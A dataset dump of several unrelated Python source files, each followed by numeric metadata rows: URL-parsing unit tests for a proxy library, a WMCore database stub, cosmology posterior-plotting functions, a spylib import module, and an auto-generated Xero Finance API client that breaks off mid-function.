self.assertEqual(url.hostname, None)
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, b'/')
def test_http_proxy_url(self) -> None:
url = Url.from_bytes(b'http://httpbin.org/get')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'httpbin.org')
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, b'/get')
def test_https_connect_url(self) -> None:
url = Url.from_bytes(b'httpbin.org:443')
self.assertEqual(url.scheme, None)
self.assertEqual(url.hostname, b'httpbin.org')
self.assertEqual(url.port, 443)
self.assertEqual(url.remainder, None)
def test_https_connect_with_ipv6_url(self) -> None:
url = Url.from_bytes(b'[::]:443')
self.assertEqual(url.scheme, None)
self.assertEqual(url.hostname, b'[::]')
self.assertEqual(url.port, 443)
self.assertEqual(url.remainder, None)
def test_https_connect_with_ipv6_malformed_url(self) -> None:
url = Url.from_bytes(b':::443')
self.assertEqual(url.scheme, None)
self.assertEqual(url.hostname, b'[::]')
self.assertEqual(url.port, 443)
self.assertEqual(url.remainder, None)
def test_http_ipv6_url(self) -> None:
url = Url.from_bytes(b'http://[::]')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'[::]')
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, None)
def test_http_ipv6_with_port_url(self) -> None:
url = Url.from_bytes(b'http://[::]:443')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'[::]')
self.assertEqual(url.port, 443)
self.assertEqual(url.remainder, None)
def test_unicode_url(self) -> None:
url = Url.from_bytes('å∫ç.com'.encode('utf-8'))
self.assertEqual(url.scheme, None)
self.assertEqual(url.hostname, 'å∫ç.com'.encode('utf-8'))
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, None)
def test_full_url(self) -> None:
url = Url.from_bytes(b'https://example.com/path/dir/?a=b&c=d#p=q')
self.assertEqual(url.scheme, b'https')
self.assertEqual(url.hostname, b'example.com')
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, b'/path/dir/?a=b&c=d#p=q')
def test_no_trailing_slash_url(self) -> None:
url = Url.from_bytes(b'http://localhost:12345')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'localhost')
self.assertEqual(url.port, 12345)
self.assertEqual(url.remainder, None)
def test_trailing_slash_url(self) -> None:
url = Url.from_bytes(b'http://localhost:12345/v1/users/')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'localhost')
self.assertEqual(url.port, 12345)
self.assertEqual(url.remainder, b'/v1/users/')
self.assertEqual(url.username, None)
self.assertEqual(url.password, None)
def test_username_password(self) -> None:
url = Url.from_bytes(b'http://user:pass@localhost:12345/v1/users/')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'localhost')
self.assertEqual(url.port, 12345)
self.assertEqual(url.remainder, b'/v1/users/')
self.assertEqual(url.username, b'user')
self.assertEqual(url.password, b'pass')
def test_username_password_without_proto_prefix(self) -> None:
url = Url.from_bytes('user:pass@å∫ç.com'.encode('utf-8'))
self.assertEqual(url.scheme, None)
self.assertEqual(url.hostname, 'å∫ç.com'.encode('utf-8'))
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, None)
self.assertEqual(url.username, b'user')
self.assertEqual(url.password, b'pass')
def test_no_scheme_suffix(self) -> None:
url = Url.from_bytes(b'//example-server.net/server?arg=87')
self.assertEqual(url.scheme, b'http')
self.assertEqual(url.hostname, b'example-server.net')
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, b'/server?arg=87')
self.assertEqual(url.username, None)
self.assertEqual(url.password, None)
def test_any_scheme_suffix(self) -> None:
url = Url.from_bytes(
b'icap://example-server.net/server?arg=87',
allowed_url_schemes=[b'icap'],
)
self.assertEqual(url.scheme, b'icap')
self.assertEqual(url.hostname, b'example-server.net')
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, b'/server?arg=87')
self.assertEqual(url.username, None)
self.assertEqual(url.password, None)
def test_assert_raises_for_unknown_schemes(self) -> None:
with self.assertRaises(HttpProtocolException):
Url.from_bytes(b'icap://example-server.net/server?arg=87')
| 41.368098
| 86
| 0.64541
| 908
| 6,743
| 4.704846
| 0.123348
| 0.28441
| 0.311798
| 0.080758
| 0.833099
| 0.8125
| 0.792837
| 0.780431
| 0.758661
| 0.711376
| 0
| 0.018598
| 0.20258
| 6,743
| 162
| 87
| 41.623457
| 0.774224
| 0.045825
| 0
| 0.618321
| 0
| 0.022901
| 0.141518
| 0.020931
| 0
| 0
| 0
| 0
| 0.633588
| 1
| 0.137405
| false
| 0.068702
| 0.022901
| 0
| 0.167939
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 10
|
d2495282ea7cf3f12ab470680bbe08185a22a2fd
| 452
|
py
|
Python
|
src/python/WMCore/WMBS/Oracle/WorkUnit/ExistsByTaskFileLumi.py
|
khurtado/WMCore
|
f74e252412e49189a92962945a94f93bec81cd1e
|
[
"Apache-2.0"
] | 21
|
2015-11-19T16:18:45.000Z
|
2021-12-02T18:20:39.000Z
|
src/python/WMCore/WMBS/Oracle/WorkUnit/ExistsByTaskFileLumi.py
|
khurtado/WMCore
|
f74e252412e49189a92962945a94f93bec81cd1e
|
[
"Apache-2.0"
] | 5,671
|
2015-01-06T14:38:52.000Z
|
2022-03-31T22:11:14.000Z
|
src/python/WMCore/WMBS/Oracle/WorkUnit/ExistsByTaskFileLumi.py
|
khurtado/WMCore
|
f74e252412e49189a92962945a94f93bec81cd1e
|
[
"Apache-2.0"
] | 67
|
2015-01-21T15:55:38.000Z
|
2022-02-03T19:53:13.000Z
|
"""
_WorkUnit.ExistsByTaskFileLumi_
Oracle implementation of WorkUnit.ExistsByTaskFileLumi
"""
from __future__ import absolute_import, division, print_function
from WMCore.WMBS.MySQL.WorkUnit.ExistsByTaskFileLumi import ExistsByTaskFileLumi as ExistsByTaskFileLumiMySQL
class ExistsByTaskFileLumi(ExistsByTaskFileLumiMySQL):
"""
_WorkUnit.ExistsByTaskFileLumi_
Oracle implementation of WorkUnit.ExistsByTaskFileLumi
"""
pass
| 22.6
| 109
| 0.820796
| 36
| 452
| 10.027778
| 0.527778
| 0.387812
| 0.188366
| 0.265928
| 0.432133
| 0.432133
| 0.432133
| 0
| 0
| 0
| 0
| 0
| 0.123894
| 452
| 19
| 110
| 23.789474
| 0.911616
| 0.387168
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 0.5
| 0
| 0.75
| 0.25
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 8
|
d2725828c5057cf096e53830b10b395cd68ac6a9
| 12,972
|
py
|
Python
|
angular_binning/posterior.py
|
robinupham/angular_binning
|
da3f6bf32efd8bad1a7f61a9a457f521ed8ebe87
|
[
"MIT"
] | null | null | null |
angular_binning/posterior.py
|
robinupham/angular_binning
|
da3f6bf32efd8bad1a7f61a9a457f521ed8ebe87
|
[
"MIT"
] | null | null | null |
angular_binning/posterior.py
|
robinupham/angular_binning
|
da3f6bf32efd8bad1a7f61a9a457f521ed8ebe87
|
[
"MIT"
] | null | null | null |
"""
Functions for plotting posterior distributions.
"""
import gaussian_cl_likelihood.python.posteriors # https://github.com/robinupham/gaussian_cl_likelihood
import matplotlib.patches
import matplotlib.pyplot as plt
import numpy as np
import scipy.interpolate
import scipy.ndimage
import scipy.special
import scipy.stats
def cl_posts(log_like_filemask, contour_levels_sig, n_bps, colours, linestyles, ellipse_check=False,
plot_save_path=None):
"""
Plot w0-wa joint posteriors from the full-sky power spectrum for different numbers of bandpowers.
Args:
log_like_filemask (str): Path to log-likelihood files as output by
``loop_likelihood_nbin.like_bp_gauss_loop_nbin``, with placeholder for ``{n_bp}``.
contour_levels_sig (list): List or other sequence of integer contour sigma levels to plot.
n_bps (list): 2D nested list of numbers of bandpowers to plot. The top-level list defines the panels; the inner
lists are the different numbers of bandpowers to plot within each panel. For example,
``[[30, 1], [30, 5], [30, 10]]`` will produce three panels showing 1, 5, and 10 bandpowers,
with all panels also showing 30 bandpowers. There must be the same number of numbers of bandpowers
within each panel.
colours (list): List of matplotlib colours, corresponding to the different numbers of bandpowers within each
panel. All panels will use the same colours.
linestyles (list): Like ``colours``, but matplotlib linestyles.
ellipse_check (bool, optional): This function uses ellipse-fitting to overcome sampling noise. If
``ellipse_check`` is set to ``True``, the raw posterior will be plotted as well
as the fitted ellipse, to check the fit. Default ``False``.
plot_save_path (str, optional): Path to save the figure, if supplied. If not supplied, figure will be displayed.
"""
# Calculate contour levels in probability
contour_levels = [0.] + [scipy.special.erf(contour_level / np.sqrt(2)) for contour_level in contour_levels_sig]
# Prepare plot
plt.rcParams.update({'font.size': 13})
_, ax = plt.subplots(ncols=3, figsize=(12.8, 4), sharey=True)
plt.subplots_adjust(left=0.07, right=.97, wspace=0, bottom=.13, top=.98)
# Plot each panel at a time
for panel_idx, (a, panel_n_bps) in enumerate(zip(ax, n_bps)):
for n_bp, colour, linestyle in zip(panel_n_bps, colours, linestyles):
print(f'Panel {panel_idx + 1} / {len(n_bps)}, n_bp = {n_bp}')
# Load log-likelihood
log_like_path = log_like_filemask.format(n_bp=n_bp)
x_vals, y_vals, log_like = np.loadtxt(log_like_path, unpack=True)
# Convert log-likelihood to unnormalised posterior (flat prior) while aiming to prevent over/underflows
log_like = log_like - np.amax(log_like) - 0.5 * np.amin(log_like - np.amax(log_like))
post = np.exp(log_like)
# Form x and y grids and determine grid cell size (requires and checks for regular grid)
x_vals_unique = np.unique(x_vals)
dx = x_vals_unique[1] - x_vals_unique[0]
assert np.allclose(np.diff(x_vals_unique), dx)
y_vals_unique = np.unique(y_vals)
dy = y_vals_unique[1] - y_vals_unique[0]
dxdy = dx * dy
assert np.allclose(np.diff(y_vals_unique), dy)
x_grid, y_grid = np.meshgrid(x_vals_unique, y_vals_unique)
# Grid posterior and convert to confidence intervals
post_grid = scipy.interpolate.griddata((x_vals, y_vals), post, (x_grid, y_grid), fill_value=0)
# Convert to confidence
conf_grid = gaussian_cl_likelihood.python.posteriors.posterior_grid_to_confidence_levels(post_grid, dxdy)
# Calculate contours
cont = a.contour(x_grid, y_grid, conf_grid, levels=contour_levels, colors=colour, linestyles=linestyle,
linewidths=2.5)
# Fit ellipse
for collection in cont.collections:
paths = collection.get_paths()
if not paths:
continue
# Find biggest enclosed contour
path_lengths = [path.vertices.shape[0] for path in paths]
main_path = paths[np.argmax(path_lengths)]
path_x = main_path.vertices[:, 0]
path_y = main_path.vertices[:, 1]
# Calculate ellipse centre using midpoint of x and y
centre = ((np.amax(path_x) + np.amin(path_x)) / 2, (np.amax(path_y) + np.amin(path_y)) / 2)
# Calculate angle using linear regression
slope, _, _, _, _ = scipy.stats.linregress(path_y, path_x)
phi = -np.arctan(slope)
# Calculate ellipse 'height' (major axis) by finding y range and adjusting for angle
height = np.ptp(path_y) / np.cos(phi)
# Calculate ellipse 'width' (minor axis) by rotating everything clockwise by phi,
# then finding range of new x
width = np.ptp(np.cos(-phi) * path_x - np.sin(-phi) * path_y)
# Draw the ellipse and hide the original
fit_ellipse = matplotlib.patches.Ellipse(xy=centre, width=width, height=height, angle=np.rad2deg(phi),
ec=collection.get_ec()[0], fc='None',
lw=collection.get_lw()[0], ls=collection.get_ls()[0])
a.add_patch(fit_ellipse)
if not ellipse_check:
collection.set_visible(False)
# Limits
for a in ax:
a.set_xlim(-1.01, -0.99)
a.set_ylim(-0.03, 0.035)
# Axis labels
for a in ax:
a.set_xlabel(r'$w_0$')
ax[0].set_ylabel(r'$w_a$')
# Legends
for a, panel_n_bps in zip(ax, n_bps):
handles = [matplotlib.lines.Line2D([0], [0], lw=2.5, c=c, ls=ls[0]) for c, ls in zip(colours, linestyles)]
labels = [f'{n_bp} bandpower{"s" if n_bp > 1 else ""}' for n_bp in panel_n_bps]
a.legend(handles, labels, frameon=False, loc='upper right')
# Remove overlapping tick labels
for a in ax[1:]:
a.set_xticks(a.get_xticks()[1:])
if plot_save_path is not None:
plt.savefig(plot_save_path)
print('Saved ' + plot_save_path)
else:
plt.show()
def cf_posts(log_like_filemask, contour_levels_sig, n_bins, colours, linestyles, ellipse_check=False,
plot_save_path=None):
"""
Plot w0-wa joint posteriors from the full-sky correlation function for different numbers of theta bins.
Args:
log_like_filemask (str): Path to log-likelihood files as output by
``loop_likelihood_nbin.like_cf_gauss_loop_nbin``, with placeholder for ``{n_bin}``.
contour_levels_sig (list): List or other sequence of integer contour sigma levels to plot.
n_bins (list): 2D nested list of numbers of theta bins to plot. The top-level list defines the panels; the
inner lists are the different numbers of theta bins to plot within each panel. For example,
``[[30, 5], [30, 10], [30, 20]]`` will produce three panels showing 5, 10, and 20 theta bins,
with all panels also showing 30 bins. There must be the same number of numbers of theta bins
within each panel.
colours (list): List of matplotlib colours, corresponding to the different numbers of theta bins within each
panel. All panels will use the same colours.
linestyles (list): Like ``colours``, but matplotlib linestyles.
ellipse_check (bool, optional): This function uses ellipse-fitting to overcome sampling noise. If
``ellipse_check`` is set to ``True``, the raw posterior will be plotted as well
as the fitted ellipse, to check the fit. Default ``False``.
plot_save_path (str, optional): Path to save the figure, if supplied. If not supplied, figure will be displayed.
"""
# Calculate contour levels in probability
contour_levels = [0.] + [scipy.special.erf(contour_level / np.sqrt(2)) for contour_level in contour_levels_sig]
# Prepare plot
plt.rcParams.update({'font.size': 13})
_, ax = plt.subplots(ncols=3, figsize=(12.8, 4), sharey=True)
plt.subplots_adjust(left=0.07, right=.97, wspace=0, bottom=.13, top=.98)
# Plot each panel at a time
for panel_idx, (a, panel_n_bins) in enumerate(zip(ax, n_bins)):
for nbin, colour, linestyle in zip(panel_n_bins, colours, linestyles):
print(f'Panel {panel_idx + 1} / {len(n_bins)}, nbin = {nbin}')
# Load log-likelihood
log_like_path = log_like_filemask.format(n_bin=nbin)
x_vals, y_vals, log_like = np.loadtxt(log_like_path, unpack=True)
# Convert log-likelihood to unnormalised posterior (flat prior) while aiming to prevent over/underflows
log_like = log_like - np.amax(log_like) - 0.5 * np.amin(log_like - np.amax(log_like))
post = np.exp(log_like)
# Form x and y grids and determine grid cell size (requires and checks for regular grid)
x_vals_unique = np.unique(x_vals)
dx = x_vals_unique[1] - x_vals_unique[0]
assert np.allclose(np.diff(x_vals_unique), dx)
y_vals_unique = np.unique(y_vals)
dy = y_vals_unique[1] - y_vals_unique[0]
dxdy = dx * dy
assert np.allclose(np.diff(y_vals_unique), dy)
x_grid, y_grid = np.meshgrid(x_vals_unique, y_vals_unique)
# Grid posterior and convert to confidence intervals
post_grid = scipy.interpolate.griddata((x_vals, y_vals), post, (x_grid, y_grid), fill_value=0)
# Convert to confidence
conf_grid = gaussian_cl_likelihood.python.posteriors.posterior_grid_to_confidence_levels(post_grid, dxdy)
# Calculate contours
cont = a.contour(x_grid, y_grid, conf_grid, levels=contour_levels, colors=colour, linestyles=linestyle,
linewidths=2.5)
# Fit ellipse
for collection in cont.collections:
paths = collection.get_paths()
if not paths:
continue
# Find biggest enclosed contour
path_lengths = [path.vertices.shape[0] for path in paths]
main_path = paths[np.argmax(path_lengths)]
path_x = main_path.vertices[:, 0]
path_y = main_path.vertices[:, 1]
# Calculate ellipse centre using midpoint of x and y
centre = ((np.amax(path_x) + np.amin(path_x)) / 2, (np.amax(path_y) + np.amin(path_y)) / 2)
# Calculate angle using linear regression
slope, _, _, _, _ = scipy.stats.linregress(path_y, path_x)
phi = -np.arctan(slope)
# Calculate ellipse 'height' (major axis) by finding y range and adjusting for angle
height = np.ptp(path_y) / np.cos(phi)
# Calculate ellipse 'width' (minor axis) by rotating everything clockwise by phi,
# then finding range of new x
width = np.ptp(np.cos(-phi) * path_x - np.sin(-phi) * path_y)
# Draw the ellipse and hide the original
fit_ellipse = matplotlib.patches.Ellipse(xy=centre, width=width, height=height, angle=np.rad2deg(phi),
ec=collection.get_color()[0], fc='None',
lw=collection.get_lw()[0], ls=collection.get_ls()[0])
a.add_patch(fit_ellipse)
if not ellipse_check:
collection.set_visible(False)
# Limits
for a in ax:
a.set_xlim(-1.01, -0.99)
a.set_ylim(-0.033, 0.035)
# Axis labels
for a in ax:
a.set_xlabel(r'$w_0$')
ax[0].set_ylabel(r'$w_a$')
# Legends
for a, panel_n_bins in zip(ax, n_bins):
handles = [matplotlib.lines.Line2D([0], [0], lw=2.5, c=c, ls=ls[0]) for c, ls in zip(colours, linestyles)]
labels = [f'{nbin} $\\theta$ bins' for nbin in panel_n_bins]
a.legend(handles, labels, frameon=False, loc='upper right')
# Remove overlapping tick labels
for a in ax[1:]:
a.set_xticks(a.get_xticks()[1:])
if plot_save_path is not None:
plt.savefig(plot_save_path)
print('Saved ' + plot_save_path)
else:
plt.show()
| 49.323194
| 120
| 0.605612
| 1,781
| 12,972
| 4.240876
| 0.173498
| 0.022243
| 0.015888
| 0.007944
| 0.926122
| 0.900569
| 0.881769
| 0.863763
| 0.845227
| 0.835959
| 0
| 0.017824
| 0.299337
| 12,972
| 262
| 121
| 49.51145
| 0.813181
| 0.369951
| 0
| 0.8
| 0
| 0
| 0.03076
| 0
| 0
| 0
| 0
| 0
| 0.030769
| 1
| 0.015385
| false
| 0
| 0.061538
| 0
| 0.076923
| 0.030769
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
96647703f25964a13ebe725b95312e605e2e13fb
| 151
|
py
|
Python
|
spylib/shopify/oauth/__init__.py
|
SatelCreative/spylib
|
d7f5129c4f0bba3cbc7a2925fdee389dbbde75f1
|
[
"MIT"
] | 1
|
2022-03-11T18:19:32.000Z
|
2022-03-11T18:19:32.000Z
|
spylib/shopify/oauth/__init__.py
|
SatelCreative/spylib
|
d7f5129c4f0bba3cbc7a2925fdee389dbbde75f1
|
[
"MIT"
] | 32
|
2020-08-14T19:49:09.000Z
|
2022-03-31T22:18:09.000Z
|
spylib/shopify/oauth/__init__.py
|
SatelCreative/spylib
|
d7f5129c4f0bba3cbc7a2925fdee389dbbde75f1
|
[
"MIT"
] | null | null | null |
from .config import conf # noqa: F401
from .tokens import OfflineToken, OnlineToken # noqa: F401
from .router import init_oauth_router # noqa: F401
| 37.75
| 59
| 0.768212
| 21
| 151
| 5.428571
| 0.571429
| 0.210526
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 0.165563
| 151
| 3
| 60
| 50.333333
| 0.833333
| 0.211921
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
969057ec6d2d51f355a04641106df2bbfee192ab
| 43,766
|
py
|
Python
|
xero_python/finance/api/finance_api.py
|
dupski/xero-python
|
66856a7f88975a2991732a1c58e6326dbdcb3468
|
[
"MIT"
] | null | null | null |
xero_python/finance/api/finance_api.py
|
dupski/xero-python
|
66856a7f88975a2991732a1c58e6326dbdcb3468
|
[
"MIT"
] | null | null | null |
xero_python/finance/api/finance_api.py
|
dupski/xero-python
|
66856a7f88975a2991732a1c58e6326dbdcb3468
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
Xero Finance API
The Finance API is a collection of endpoints which customers can use in the course of a loan application, which may assist lenders to gain the confidence they need to provide capital. # noqa: E501
Contact: api@xero.com
Generated by: https://openapi-generator.tech
"""
"""
OpenAPI spec version: 2.19.1
"""
import importlib
import re # noqa: F401
from xero_python import exceptions
from xero_python.api_client import ApiClient, ModelFinder
try:
from .exception_handler import translate_status_exception
except ImportError:
translate_status_exception = exceptions.translate_status_exception
class empty:
"""empty object to mark optional parameter not set"""
class FinanceApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
base_url = "https://api.xero.com/finance.xro/1.0"
models_module = importlib.import_module("xero_python.finance.models")
def __init__(self, api_client=None, base_url=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
self.base_url = base_url or self.base_url
def get_resource_url(self, resource_path):
"""
Combine API base url with resource specific path
:param str resource_path: API endpoint specific path
:return: str full resource path
"""
return self.base_url + resource_path
def get_model_finder(self):
return ModelFinder(self.models_module)
def get_accounting_activity_account_usage(
self,
xero_tenant_id,
start_month=empty,
end_month=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get account usage # noqa: E501
OAuth2 scope: finance.accountingactivity.read
A summary of how each account is being transacted on exposing the level of detail and amounts attributable to manual adjustments. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str start_month: date, yyyy-MM If no parameter is provided, the month 12 months prior to the end month will be used. Account usage for up to 12 months from this date will be returned.
:param str end_month: date, yyyy-MM If no parameter is provided, the current month will be used. Account usage for up to 12 months prior to this date will be returned.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: AccountUsageResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_accounting_activity_account_usage`"
)
collection_formats = {}
path_params = {}
query_params = []
if start_month is not empty:
query_params.append(("startMonth", start_month))
if end_month is not empty:
query_params.append(("endMonth", end_month))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/AccountingActivities/AccountUsage")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="AccountUsageResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_accounting_activity_account_usage"
)
def get_accounting_activity_lock_history(
self,
xero_tenant_id,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get lock history # noqa: E501
OAuth2 scope: finance.accountingactivity.read
Provides a history of locking of accounting books. Locking may be an indicator of good accounting practices that could reduce the risk of changes to accounting records in prior periods. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str end_date: date, yyyy-MM-dd If no parameter is provided, the current date will be used. Any changes to hard or soft lock dates that were made within the period up to 12 months before this date will be returned. Please be aware that there may be a delay of up to 3 days before a change is visible from this API.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: LockHistoryResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_accounting_activity_lock_history`"
)
collection_formats = {}
path_params = {}
query_params = []
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/AccountingActivities/LockHistory")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="LockHistoryResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_accounting_activity_lock_history"
)
def get_accounting_activity_report_history(
self,
xero_tenant_id,
end_date=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get report history # noqa: E501
OAuth2 scope: finance.accountingactivity.read
For a specified organisation, provides a summary of all the reports published within a given period, which may be an indicator for good business management and oversight. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str end_date: date, yyyy-MM-dd If no parameter is provided, the current date will be used. Any reports that were published within the period up to 12 months before this date will be returned. Please be aware that there may be a delay of up to 3 days before a published report is visible from this API.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: ReportHistoryResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_accounting_activity_report_history`"
)
collection_formats = {}
path_params = {}
query_params = []
if end_date is not empty:
query_params.append(("endDate", end_date))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/AccountingActivities/ReportHistory")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="ReportHistoryResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_accounting_activity_report_history"
)
def get_accounting_activity_user_activities(
self,
xero_tenant_id,
data_month=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get user activities # noqa: E501
OAuth2 scope: finance.accountingactivity.read
For a specified organisation, provides a list of all the users registered, and a history of their accounting transactions. Also identifies the existence of an external accounting advisor and the level of interaction. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str data_month: date, yyyy-MM The specified month must be complete (in the past); The current month cannot be specified since it is not complete. If no parameter is provided, the month immediately previous to the current month will be used. Any user activities occurring within the specified month will be returned. Please be aware that there may be a delay of up to 3 days before a user activity is visible from this API.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: UserActivitiesResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_accounting_activity_user_activities`"
)
collection_formats = {}
path_params = {}
query_params = []
if data_month is not empty:
query_params.append(("dataMonth", data_month))
header_params = {
"xero-tenant-id": xero_tenant_id,
}
local_var_files = {}
form_params = []
body_params = None
# HTTP header `Accept`
header_params["Accept"] = self.api_client.select_header_accept(
["application/json"]
)
# Authentication setting
auth_settings = ["OAuth2"]
url = self.get_resource_url("/AccountingActivities/UserActivities")
try:
return self.api_client.call_api(
url,
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="UserActivitiesResponse",
response_model_finder=self.get_model_finder(),
auth_settings=auth_settings,
_return_http_data_only=_return_http_data_only,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
collection_formats=collection_formats,
)
except exceptions.HTTPStatusException as error:
raise translate_status_exception(
error, self, "get_accounting_activity_user_activities"
)
def get_bank_statement_accounting(
self,
xero_tenant_id,
bank_account_id,
from_date,
to_date,
summary_only=empty,
_return_http_data_only=True,
_preload_content=True,
_request_timeout=None,
):
"""Get Bank Statement Accounting # noqa: E501
OAuth2 scope: finance.bankstatementsplus.read
For lenders that prefer using bank statement data as the source of truth. We provide a data point that will allow access to customer bank statements, plus for reconciled bank transactions the matching accounting, invoice and billing data as well. As customers reconcile bank statements to invoices and bills, this transaction detail will provide valuable insight for lender's assessment measures. # noqa: E501
:param str xero_tenant_id: Xero identifier for Tenant (required)
:param str bank_account_id: string, GUID Bank account Id (required)
:param str from_date: date, yyyy-MM-dd Specifies the start date of the query period. The maximum range of the query period is 12 months. If the specified query period is more than 12 months the request will be rejected. (required)
:param str to_date: date, yyyy-MM-dd Specifies the end date of the query period. If the end date is a future date, the request will be rejected. (required)
:param bool summary_only: boolean, true/false The default value is true if no parameter is provided. In summary mode, the response will exclude the computation-heavy LineItems fields from bank transaction, invoice, credit note, prepayment and overpayment data, making the API calls quicker and more efficient.
:param bool _return_http_data_only: return received data only
:param bool _preload_content: load received data in models
:param bool _request_timeout: maximum wait time for response
:return: BankStatementAccountingResponse
"""
# verify the required parameter 'xero_tenant_id' is set
if xero_tenant_id is None:
raise ValueError(
"Missing the required parameter `xero_tenant_id` "
"when calling `get_bank_statement_accounting`"
)
# verify the required parameter 'bank_account_id' is set
if bank_account_id is None:
raise ValueError(
"Missing the required parameter `bank_account_id` "
"when calling `get_bank_statement_accounting`"
)
# verify the required parameter 'from_date' is set
if from_date is None:
raise ValueError(
